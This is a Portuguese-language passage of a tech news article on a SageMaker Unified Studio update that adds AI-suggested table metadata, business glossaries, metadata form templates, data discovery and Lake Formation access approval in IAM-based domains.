Um ponto de destaque é o uso de metadados gerados por Inteligência Artificial (IA): a plataforma é capaz de sugerir automaticamente nomes e descrições para as tabelas, reduzindo consideravelmente o esforço manual de catalogação — especialmente útil quando há um grande volume de tabelas para organizar.

Glossários, templates e descoberta de dados

A atualização também permite que as equipes criem glossários de negócio, garantindo que todos os times da organização utilizem definições consistentes para termos como “ARR” ou “taxa de churn”. Além disso, é possível definir templates de formulários de metadados para capturar atributos estruturados, como classificação dos dados, políticas de retenção ou informações de responsabilidade.

Com esse contexto de negócio estabelecido, engenheiros de dados, analistas e cientistas de dados passam a ter uma experiência de busca e descoberta de tabelas muito mais eficiente em todo o domínio. É possível filtrar resultados por termos do glossário e campos dos formulários de metadados, além de solicitar acesso às tabelas por meio de assinaturas.

Fluxo de acesso e permissões

Após a aprovação de um administrador, o SageMaker Unified Studio concede automaticamente as permissões necessárias no AWS Lake Formation ao projeto solicitante. Os administradores também têm a opção de conceder acesso diretamente às tabelas, sem precisar aguardar uma solicitação formal — o que oferece mais flexibilidade no gerenciamento do dia a dia.

Disponibilidade

As capacidades de contexto de negócio, metadados e governança em domínios IAM estão disponíveis em todas as regiões da AWS onde o SageMaker Unified Studio é suportado. Para saber mais, acesse a documentação oficial do Amazon SageMaker Unified Studio.

Fonte

Amazon SageMaker adds business metadata and governance in IAM-based domains (https://aws.amazon.com/about-aws/whats-new/2026/05/sagemaker-catalog-iam-domains/)